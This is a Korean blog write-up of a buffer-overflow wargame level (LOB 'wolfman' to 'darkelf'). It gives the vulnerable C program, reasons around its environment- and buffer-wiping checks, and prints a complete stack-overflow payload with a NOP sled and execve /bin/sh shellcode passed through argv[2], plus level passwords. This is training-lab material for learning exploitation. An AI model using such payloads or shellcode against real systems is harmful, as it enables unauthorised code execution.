wargame 풀이/LOB

LOB 6번 풀이 (wolfman)

yehey 2020. 11. 7. 02:42
id: wolfman
pw: love eyuna

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

  • strcpy의 BOF 취약점 이용해서 공격
  • egghunter 코드 삽입 (환경변수를 이용한 공격 불가능)
  • bufferhunter 코드 삽입 (buffer 내에 쉘코드 삽입해도 0으로 초기화 됨, 사용 불가)
  • 전달하려는 문자열의 48번째는 "\xbf"와 같아야함 (같지 않으면 강제종료)
  • buffer에 담긴 내용 출력
  • argv[1]에 전달되는 문자열 길이가 48보다 길어서는 안됨

 

darkelf 디스어셈블

main+233 에서 strcpy의 인자로 ebp-40의 주소를 넣어줌

main+245 에서 printf의 인자로 ebp-40의 주소를 넣어줌

main+266 에서 memset의 인자로 ebp-40의 주소를 넣어줌

=> ebp-40이 buffer의 시작주소

 

main+36 에서 ebp-44에 0을 넣어줌

=> ebp-44가 i의 주소

 

스택구조를 그려보면 다음과 같다

이번에는 ret 위의 공간을 사용할 수 없게 해놓았다. (strlen이 48 넘으면 강제종료 됨)

 

그래서 쉘 코드를 담을 공간을 찾다가 문자열을 하나만 전달하지 않고 2개를 전달해서 argv[2]에 쉘 코드를 담을 수 있다면 ret 에 argv[2]의 주소를 넣어주고 쉘이 실행되지 않을까라고 생각했다.

 

python 스크립트로 2개의 인자를 넣어줄 수 있는지 테스트 해보기 위해 한번 전달해 보았다.

 

다행히 잘 전달되었고 인자를 2개 전달해서 공격을 할 수 있을 것 같았다.

 

argv[2]의 주소를 알아내기 위해 기존 darkelf 코드를 복사해서 살짝 수정해보았다.

 

수정한 코드는 다음과 같다.

//darkelf2.c code
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%x\n", argv[2]);	//argv[2]의 주소를 출력하게 함

        // buffer hunter
        memset(buffer, 0, 40);
}

darkelf2.c 를 컴파일 하고 argv[1]과 argv[2]에 적절한 값을 넣어 실행시켜보았다. (강제종료되지 않을 값)

 

argv[2]의 시작 주소는 0xbffffbee라는 결과가 나왔다.

 

이제 argv[1]에서 ret까지 44바이트는 아무의미 없는 값으로 채워주고 ret에는 argv[2]의 주소를 넣어주고

argv[2]에는 NOP와 쉘 코드를 넣어주자.

 

payload: ./darkelf `python -c 'print "A"*44+"\xee\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

위와 같이 darkelf 권한으로 쉘이 띄워졌고 password도 얻을 수 있었다.

 

darkelf의 pw: "kernel crashed"